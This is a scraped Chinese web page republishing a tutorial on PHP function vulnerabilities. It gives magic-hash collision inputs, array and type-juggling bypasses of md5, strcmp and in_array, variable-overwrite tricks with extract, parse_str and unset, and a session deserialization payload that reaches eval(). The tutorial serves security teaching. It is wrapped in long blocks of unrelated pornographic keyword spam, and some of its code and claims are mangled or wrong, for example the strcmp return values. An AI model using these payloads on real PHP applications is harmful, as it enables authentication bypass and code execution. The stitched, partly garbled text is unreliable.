成人性生交大片免费看视频r_亚洲综合极品香蕉久久网_在线视频免费观看一区_亚洲精品亚洲人成人网在线播放_国产精品毛片av_久久久久国产精品www_亚洲国产一区二区三区在线播_日韩一区二区三区四区区区_亚洲精品国产无套在线观_国产免费www

主頁 > 知識庫 > 詳解各種PHP函數(shù)漏洞

詳解各種PHP函數(shù)漏洞

熱門標簽:新河科技智能外呼系統(tǒng)怎么樣 注冊400電話申請 釘釘打卡地圖標注 地圖標注平臺怎么給錢注冊 福州人工外呼系統(tǒng)哪家強 安裝電銷外呼系統(tǒng) 常州地圖標注服務(wù)商 衡水外呼系統(tǒng)平臺 百度商鋪地圖標注

1.MD5 compare漏洞

PHP在處理哈希字符串時,會利用”!=”或”==”來對哈希值進行比較,它把每一個以”0E”開頭的哈希值都解釋為0,所以如果兩個不同的密碼經(jīng)過哈希以后,其哈希值都是以”0E”開頭的,那么PHP將會認為他們相同,都是0。
常見的payload有

0x01 md5(str)
    QNKCDZO
    240610708
    s878926199a
    s155964671a
    s214587387a
    s214587387a
     sha1(str)
    sha1('aaroZmOk')  
    sha1('aaK1STfY')
    sha1('aaO8zKZF')
    sha1('aa3OFF9m')

0x02 md5(md5(str)."SALT")
    2

同時MD5不能處理數(shù)組,若有以下判斷則可用數(shù)組繞過

if(@md5($_GET['a']) == @md5($_GET['b']))
{
    echo "yes";
}
//http://127.0.0.1/1.php?a[]=1b[]=2

2.ereg函數(shù)漏洞:00截斷

ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE

字符串對比解析
在這里如果 $_GET[‘password']為數(shù)組,則返回值為NULL
如果為123 || asd || 12as || 123%00**,則返回值為true
其余為false

3.變量本身的key

說到變量的提交很多人只是看到了GET/POST/COOKIE等提交的變量的值,但是忘記了有的程序把變量本身的key也當(dāng)變量提取給函數(shù)處理。

?php

//key.php?aaaa'aaa=1bb'b=2 

//print_R($_GET); 

 foreach ($_GET AS $key => $value)

{

        print $key."\n";

}

?>

4.變量覆蓋

extract()這個函數(shù)在指定參數(shù)為EXTR_OVERWRITE或者沒有指定函數(shù)可以導(dǎo)致變量覆蓋

?php  
    $auth = '0';  
    // 這里可以覆蓋$auth的變量值
    extract($_GET); 
    if($auth == 1){  
        echo "private!";  
    } else{  
        echo "public!";  
    }  
?>
?php  
$a='hi';
foreach($_GET as $key => $value) {
        echo $key;
        $$key = $value;
}
print $a;
?>

5.strcmp

如果 str1 小于 str2 返回 0; 如果 str1 大于 str2 返回 > 0;如果兩者相等,返回 0。
將兩個參數(shù)先轉(zhuǎn)換成string類型。
以后,當(dāng)比較數(shù)組和字符串的時候,返回是0。
如果參數(shù)不是string類型,直接return了

?php
    $password=$_GET['password'];
    if (strcmp('xd',$password)) {
     echo 'NO!';
    } else{
        echo 'YES!';
    }
?>

6.sha1 和 md5 函數(shù)

md5 和 sha1 無法處理數(shù)組,返回 NULL

if (@sha1([]) ==  false)
    echo 1;
if (@md5([]) ==  false)
    echo 2;
echo var_dump(@sha1([]));

7.is_numeric

PHP提供了is_numeric函數(shù),用來變量判斷是否為數(shù)字。但是函數(shù)的范圍比較廣泛,不僅僅是十進制的數(shù)字。

?php
echo is_numeric(233333);       # 1
echo is_numeric('233333');    # 1
echo is_numeric(0x233333);    # 1
echo is_numeric('0x233333');   # 1
echo is_numeric('233333abc');  # 0
?>

8.preg_match

如果在進行正則表達式匹配的時候,沒有限制字符串的開始和結(jié)束(^ 和 $),則可以存在繞過的問題

?php
$ip = '1.1.1.1 abcd'; // 可以繞過
if(!preg_match("/(\d+)\.(\d+)\.(\d+)\.(\d+)/",$ip)) {
  die('error');
} else {
   echo('key...');
}
?>

9.parse_str

與 parse_str() 類似的函數(shù)還有 mb_parse_str(),parse_str 將字符串解析成多個變量,如果參數(shù)str是URL傳遞入的查詢字符串(query string),則將它解析為變量并設(shè)置到當(dāng)前作用域。

//var.php?var=new  
$var='init';  
parse_str($_SERVER['QUERY_STRING']);  
print $var;

10.字符串比較

== 是弱類型的比較,以下比較都為 true

?php  
echo 0 == 'a' ;// a 轉(zhuǎn)換為數(shù)字為 0    重點注意

// 0x 開頭會被當(dāng)成16進制54975581388的16進制為 0xccccccccc
// 十六進制與整數(shù),被轉(zhuǎn)換為同一進制比較
'0xccccccccc' == '54975581388' ;
// 字符串在與數(shù)字比較前會自動轉(zhuǎn)換為數(shù)字,如果不能轉(zhuǎn)換為數(shù)字會變成0
1 == '1';
1 == '01';
10 == '1e1';
'100' == '1e2' ;    

// 十六進制數(shù)與帶空格十六進制數(shù),被轉(zhuǎn)換為十六進制整數(shù)
'0xABCdef'  == '     0xABCdef';
echo '0010e2' == '1e3';
// 0e 開頭會被當(dāng)成數(shù)字,又是等于 0*10^xxx=0
// 如果 md5 是以 0e 開頭,在做比較的時候,可以用這種方法繞過
'0e509367213418206700842008763514' == '0e481036490867661113260034900752';
'0e481036490867661113260034900752' == '0' ;

var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
?>

11.unset

unset( bar);用來銷毀指定的變量,如果變量 bar 包含在請求參數(shù)中,可能出現(xiàn)銷毀一些變量而實現(xiàn)程序邏輯繞過。

?php  
// http://127.0.0.1/index.php?_CONFIG=123
$_CONFIG['extraSecure'] = true;

foreach(array('_GET','_POST') as $method) {
    foreach($$method as $key=>$value) {
      // $key == _CONFIG
      // $$key == $_CONFIG
      // 這個函數(shù)會把 $_CONFIG 變量銷毀
      unset($$key);
    }
}

if ($_CONFIG['extraSecure'] == false) {
    echo 'flag {****}';
}
?>

12.intval()

int轉(zhuǎn)string:

$var = 5;  
方式1:$item = (string)$var;  
方式2:$item = strval($var); 

string轉(zhuǎn)int:intval()函數(shù)。

var_dump(intval('2')) //2  
var_dump(intval('3abcd')) //3  
var_dump(intval('abcd')) //0 

說明intval()轉(zhuǎn)換的時候,會將從字符串的開始進行轉(zhuǎn)換知道遇到一個非數(shù)字的字符。即使出現(xiàn)無法轉(zhuǎn)換的字符串,intval()不會報錯而是返回0。
利用代碼:

?php  
$a = '10000 union select * from yz';
if(intval($a)>1000)   
    echo $a ;
?>

13.switch()

如果switch是數(shù)字類型的case的判斷時,switch會將其中的參數(shù)轉(zhuǎn)換為int類型。如下:

?php
$i ="2abc";  
switch ($i) {  
case 0:  
case 1:  
case 2:  
echo "i is less than 3 but not negative";  
break;  
case 3:  
echo "i is 3";  
} 
?>

這個時候程序輸出的是i is less than 3 but not negative,是由于switch()函數(shù)將$i進行了類型轉(zhuǎn)換,轉(zhuǎn)換結(jié)果為2。

14.in_array()

$array=[0,1,2,'3'];  
var_dump(in_array('abc', $array)); //true  
var_dump(in_array('1bc', $array)); //true 

可以看到上面的情況返回的都是true,因為'abc'會轉(zhuǎn)換為0,'1bc'轉(zhuǎn)換為1。
在所有php認為是int的地方輸入string,都會被強制轉(zhuǎn)換

15.serialize 和 unserialize漏洞

魔術(shù)方法

這里我們先簡單介紹一下php中的魔術(shù)方法(這里如果對于類、對象、方法不熟的先去學(xué)學(xué)吧),即Magic方法,php類可能會包含一些特殊的函數(shù)叫magic函數(shù),magic函數(shù)命名是以符號__開頭的,比如 __construct, __destruct,__toString,__sleep,__wakeup等等。這些函數(shù)都會在某些特殊時候被自動調(diào)用。
例如__construct()方法會在一個對象被創(chuàng)建時自動調(diào)用,對應(yīng)的__destruct則會在一個對象被銷毀時調(diào)用等等。
這里有兩個比較特別的Magic方法,__sleep 方法會在一個對象被序列化的時候調(diào)用。 __wakeup方法會在一個對象被反序列化的時候調(diào)用。

在這里介紹一個序列化漏洞,首先不要相信用戶輸入的一切
看下面代碼

?php
class test
{
    public $username = '';
    public $password = '';
    public $file = '';
    public function out(){
        echo "username: ".$this->username."br>"."password: ".$this->password ;
    }
     public function __toString() {
        return file_get_contents($this->file);
    }
}
$a = new test();
$a->file = 'C:\Users\YZ\Desktop\plan.txt';
echo serialize($a);
?>
//tostring方法會在輸出實例的時候執(zhí)行,如果實例路徑是隱秘文件就可以讀取了

下面就可以讀取了C:\Users\YZ\Desktop\plan.txt文件了
echo unserialize觸發(fā)了__tostring函數(shù)

?php
class test
{
    public $username = '';
    public $password = '';
    public $file = '';
    public function out(){
        echo "username: ".$this->username."br>"."password: ".$this->password ;
    }
     public function __toString() {
        return file_get_contents($this->file);
    }
}
$a = 'O:4:"test":3:{s:8:"username";s:0:"";s:8:"password";s:0:"";s:4:"file";s:28:"C:\Users\YZ\Desktop\plan.txt";}';
echo unserialize($a);
?>

16.session 反序列化漏洞

主要原因是
ini_set(‘session.serialize_handler', ‘php_serialize');
ini_set(‘session.serialize_handler', ‘php');
兩者處理session的方式不同

利用下面代碼可以生成session值

?php
ini_set('session.serialize_handler', 'php_serialize');//a:1:{s:6:"spoock";s:3:"111";}
//ini_set('session.serialize_handler', 'php');//a|s:3:"111"
session_start();
$_SESSION["spoock"]=$_GET["a"];
?>

我們來看看生成的session值

spoock|s:3:"111";    //session鍵值|內(nèi)容序列化
a:1:{s:6:"spoock";s:3:"111";}a:1:{s:N:session鍵值;內(nèi)容序列化}
在ini_set('session.serialize_handler', 'php');中把|之前認為是鍵值后面的視為序列化
那么就可以利用這一漏洞執(zhí)行一些惡意代碼

看下面的例子
1.php

?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];
?>

2.php

?php
   ini_set('session.serialize_handler', 'php');
session_start();
class lemon {
    var $hi;
    function __construct(){
        $this->hi = 'phpinfo();';
    }

    function __destruct() {
         eval($this->hi);//這里很危險,可以執(zhí)行用戶輸入的參數(shù)
    }
}
?>

在1.PHP里面輸入a參數(shù)序列化的值|O:5:”lemon”:1:{s:2:”hi”;s:10:”phpinfo();”;}
則被序列化為
a:1:{s:6:”spoock”;s:44:”|O:5:”lemon”:1:{s:2:”hi”;s:10:”phpinfo();”;}
在2.PHP里面打開
就可以執(zhí)行phpinfo()了

以上就是詳解各種PHP函數(shù)漏洞的詳細內(nèi)容,更多關(guān)于PHP函數(shù)漏洞的資料請關(guān)注腳本之家其它相關(guān)文章!

您可能感興趣的文章:
  • PHP的命令行擴展Readline相關(guān)函數(shù)的使用
  • PHP中垃圾回收相關(guān)函數(shù)的使用
  • PHP中斷言函數(shù)的使用詳解
  • PHP危險函數(shù)禁用深入詳解
  • PHP的imageTtfText()函數(shù)深入詳解
  • PHP執(zhí)行系統(tǒng)命令函數(shù)實例講解
  • PHP之header函數(shù)詳解
  • php中sort函數(shù)排序知識點總結(jié)
  • php中rsort函數(shù)實例用法
  • 淺談定義一個PHP函數(shù)

標簽:白城 克拉瑪依 鶴崗 唐山 遼陽 鷹潭 六安 柳州

巨人網(wǎng)絡(luò)通訊聲明:本文標題《詳解各種PHP函數(shù)漏洞》,本文關(guān)鍵詞  詳解,各種,PHP,函數(shù),漏洞,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請?zhí)峁┫嚓P(guān)信息告之我們,我們將及時溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《詳解各種PHP函數(shù)漏洞》相關(guān)的同類信息!
  • 本頁收集關(guān)于詳解各種PHP函數(shù)漏洞的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章
    春日野结衣av| 中文字幕自拍vr一区二区三区| 亚洲永久字幕| 色综合中文综合网| 国产一区二区三区影院| 欧美xxxbbb| 97视频在线看| 成人激情av在线| 四虎成人永久免费视频| 欧美成人精品| 欧美黑人xx片| 日韩少妇高潮抽搐| 成人国产亚洲精品a区天堂华泰| 91久久综合亚洲鲁鲁五月天| 51国偷自产一区二区三区| 亚洲av无一区二区三区| 国内视频一区| 高清国语自产拍免费一区二区三区| 九九热99久久久国产盗摄| 欧美高清视频在线高清观看mv色露露十八| 欧美日韩中文精品| 韩国成人在线| 国产精品永久| 久久久久久久久久久91| 精品国内产的精品视频在线观看| 欧美又大又粗又长| 国产精品久久久久久久美男| 欧洲美女7788成人免费视频| 天堂成人国产精品一区| 日韩一级毛片| 国产又粗又猛又黄视频| 在线日韩av永久免费观看| 久久久久久久综合狠狠综合| 精品国内自产拍在线视频| 快播av资源| 亚洲一区欧美一区| 岛国在线视频网站| 一级二级黄色片| 日韩国产精品亚洲а∨天堂免| 亚洲承认视频| 国产精品免费av一区二区| 久久国产精品久久久久久电车| 五月婷婷欧美视频| 国产精品18久久久久久久久| ts人妖交友网站| 国产偷亚洲偷欧美偷精品| 99re6在线精品视频免费播放| 免费成人蒂法网站| 天堂视频福利| 欧美一区国产二区| 五福影院新址进入www1378| 91麻豆精品在线| 99999精品| 国产伦精品一区二区三区免.费| 先锋影音欧美性受| 人妻丰满熟妇aⅴ无码| 国产精品免费福利| 欧美日韩国产传媒| 制服下的诱惑暮生| 欧美激情女人20p| 蜜臀精品一区二区三区| 午夜av中文字幕| 欧美三级电影网站| 久久久久美女| 亚洲国产精品毛片| 另类专区欧美蜜桃臀第一页| 不卡区在线中文字幕| 粉嫩精品久久99综合一区| 欧美国产日本高清在线| 蜜臀av性久久久久av蜜臀妖精| 久久婷婷五月综合| 久久国产影院| 另类图片第一页| 免费黄色国产视频| 国产成人精品久久亚洲高清不卡| 国产黄色精品| 自拍偷拍亚洲色图欧美| 欧美日韩在线高清| 国模精品视频一区二区| 传媒av在线| 最新国产在线观看| 日韩在线第三页| 岛国大片在线免费观看| 任你弄在线视频免费观看| 精品一区二区三| 欧美aaaaa喷水| 久久精品这里有| 成人午夜免费av| 国产精品无码粉嫩小泬| 综合网在线观看| 国产精品白嫩白嫩大学美女| 精品国产精品| av在线播放天堂| 亚洲永久网站| 国产精品天美传媒| 国产真实久久| 中文字幕一区二区三区人妻在线视频| 91香蕉一区二区三区在线观看| 少妇免费毛片久久久久久久久| 精品在线手机视频| 一区二区三区成人精品| 亚洲 欧美综合在线网络| 日本一二三区在线视频| 久久人人97超碰com| 亚洲欧美日本一区二区| 欧美aa一级| 久99久精品视频免费观看| 午夜小视频在线观看| 国产女人伦码一区二区三区不卡| 亚洲精品国产综合区久久久久久久| 亚洲色成人网站www永久四虎| www.天堂av.com| 中文字幕免费一区二区| 一级欧美一级日韩| 久久精品视频8| 咪咪网在线视频| 在线a人片免费观看视频| 一女三黑人理论片在线| 日p在线观看| 日本福利一区| 欧美激情视频播放| 欧美色123| 久久久蜜桃一区二区人| 国产精品久久综合青草亚洲AV| juy有坂深雪中文字幕| 国产网站无遮挡| 亚洲国产av一区二区| 国产在线观看精品一区| 人人狠狠综合久久亚洲婷婷| 午夜精品久久久久久久99黑人| 欧美自拍视频在线| 最新精品视频| 午夜裸体女人视频网站在线观看| 日韩无一区二区| 精品欧美久久| 国产一区二区三区综合| 国产xxxxxx久色视频在| 91精品国产乱码久久久久久久| 狠狠色狠狠色综合日日91app| 香蕉青柠影院| 1区2区3区精品视频| 欧美高清你懂的| 日韩欧美在线视频日韩欧美在线视频| 国产成人啪免费观看软件| 久久这里只有精品国产| 欧美 亚洲 另类 激情 另类| 在线观看免费国产小视频| 私库av在线播放| 337p粉嫩大胆噜噜噜鲁| 日韩性xxxx| 欧美性少妇18aaaa视频| 日本精品免费一区二区三区| 久久久久久久国产精品| 黄色av一区二区| 中文字幕日本一区| 偷拍欧美精品| 水蜜桃在线视频| www.桃色.com| 久久在线精品视频| 日韩欧美国产一区二区| 97精品人妻一区二区三区香蕉| 国语自产精品视频在线看抢先版图片| 亚洲成av人片一区二区三区| 亚洲一区二区影院| 欧美理论电影在线| 大黄网站在线观看| 在线播放不卡| 国产精品久久久爽爽爽麻豆色哟哟| 九色在线视频| 懂色av中文在线| 男女羞羞视频教学| 欧美性猛交xxxx乱大交退制版| 自拍欧美一区| 自拍偷拍亚洲天堂| 国产欧美久久久| 成人激情黄色小说| 国产女主播自拍| 啪一啪鲁一鲁2019在线视频| 精品国产乱码一区二区三区| 天美星空大象mv在线观看视频| www天堂网| 天天操夜夜逼| 精品视频在线观看日韩| 中文字幕久久久| 北条麻妃一二三区| 巨胸喷奶水www久久久免费动漫| 欧美另类老女人| 亚洲大片精品永久免费| 久久精品一本| 99久久精品99国产精品| 美女免费观看一区二区三区| 国产69精品久久久久久久久久| 污网站在线免费看| 国产精品青青在线观看爽香蕉| 午夜视频在线免费观看| 国产奶头好大揉着好爽视频| 伦一区二区三区中文字幕v亚洲| heyzo久久| 高清免费观看在线| 国产成人精品免费视频大全最热| 亚洲国产精品久久久久| 国产欧美一区二区三区在线看蜜臀| 亚洲av午夜精品一区二区三区| 日产精品久久久一区二区| 日韩aaaaaa| 日本少妇aaa| 最新黄网在线观看| 尤物视频网站| 宅男av一区二区三区| 国产+成+人+亚洲欧洲在线| 亚洲人辣妹窥探嘘嘘| 亚洲欧洲自拍| 久久色在线视频| 黄色在线观看视频网站| 全亚洲第一av番号网站| 成a人片在线观看www视频| 国产精品成人免费| 久久免费视频色| 日韩精品一区二区三区免费观影| 久久久久久久久久国产精品| 欧美videossex另类| 欧美另类亚洲| 亚洲黄色影院| 激情小说网站亚洲综合网| 日本天堂一区| 国产精品久久久久久久久久| 五月天中文字幕在线| 在线码字幕一区| 麻豆一区二区三区四区精品蜜桃| 欧美色图亚洲| 国产精品亚洲аv天堂网| 波多野结衣二区三区| 欧美日本乱大交xxxxx| 午夜精品999| 欧美a级网站| 欧美亚洲激情| 一级黄色免费毛片| 美女国产在线| 久久久精品影院| 欧美日韩二三区| 成人黄色片免费| 欧美一区二区三区的| 淫片在线观看| 欧美精品一区二区三区在线播放| 久久精品国产精品亚洲精品色| 福利网站在线观看| 影音先锋国产资源| 欧美日韩国产一区二区三区地区| 一区二区三区四区毛片| 国产精品视频久久久久| 日本少妇高清视频| 亚洲色图第一页| 亚洲va欧美va| 看女生喷水的网站在线观看| 亚洲宅男天堂在线观看无病毒| 欧美人牲a欧美精品| 日本一区二区三区在线视频| 成人一级生活片| 成人网在线播放| 久久人人爽人人爽人人片av高清| 欧美裸体一区二区三区| 国产粉嫩一区二区三区在线观看| youjizz.com日本| 国产精品午夜在线| 亚洲黄色片免费看| 精品日本高清在线播放| 最新中文字幕一区| 国产98色在线|日韩| 亚洲成a人片在线不卡一二三区| 精品视频一区二区三区四区五区| 精品福利av| 超碰在线公开97| h文在线观看免费| 俄罗斯精品一区二区| 在线国产1区| 天天操天天干天天做| 中文字幕在线视频一区二区三区| a毛片毛片av永久免费| 综合图区亚洲白拍在线| 精国产品一区二区三区a片| 欧美日韩精品区别| 天堂成人在线视频| 四虎影在永久在线观看| 国产高潮视频在线观看| 在线观看毛片视频| 欧美大波大乳巨大乳| 国产在线日本| 亚洲第一成人网站| 四虎成人在线观看| 最近97中文超碰在线| 久久伊人免费视频| 亚洲AV无码国产成人久久| 永久免费在线看片视频| 中文字幕九色91在线| 精品国产一区二| 性色av无码久久一区二区三区| 2023国产精华国产精品| 久久久精品久久久久特色影视| 国产 欧美在线| 原千岁中文字幕| 久久亚洲AV成人无码国产野外| 久久亚洲国产精品成人av秋霞| 久久香蕉精品香蕉| 国产精品嫩草影院俄罗斯| 最新av电影网站| 国产suv精品一区二区三区| 国产肥臀一区二区福利视频| 久久艹免费视频| 国产一区福利视频| 中文字幕有码热在线视频| 五月天视频在线观看| 黄色激情视频网址| 国产一区二区网址| 国产毛片久久久久久| 国产91露脸中文字幕在线| 伊人发布在线| 精品国产一区三区| 国产 日韩 亚洲 欧美| 色欲av永久无码精品无码蜜桃| 国产女人18毛片| 欧美第一在线视频| 不卡视频免费在线观看| ts人妖另类在线| 欧美日韩在线播放视频| 欧美高清你懂得| 欧美日韩蜜桃| 超碰成人在线免费| 亚洲愉拍自拍另类高清精品|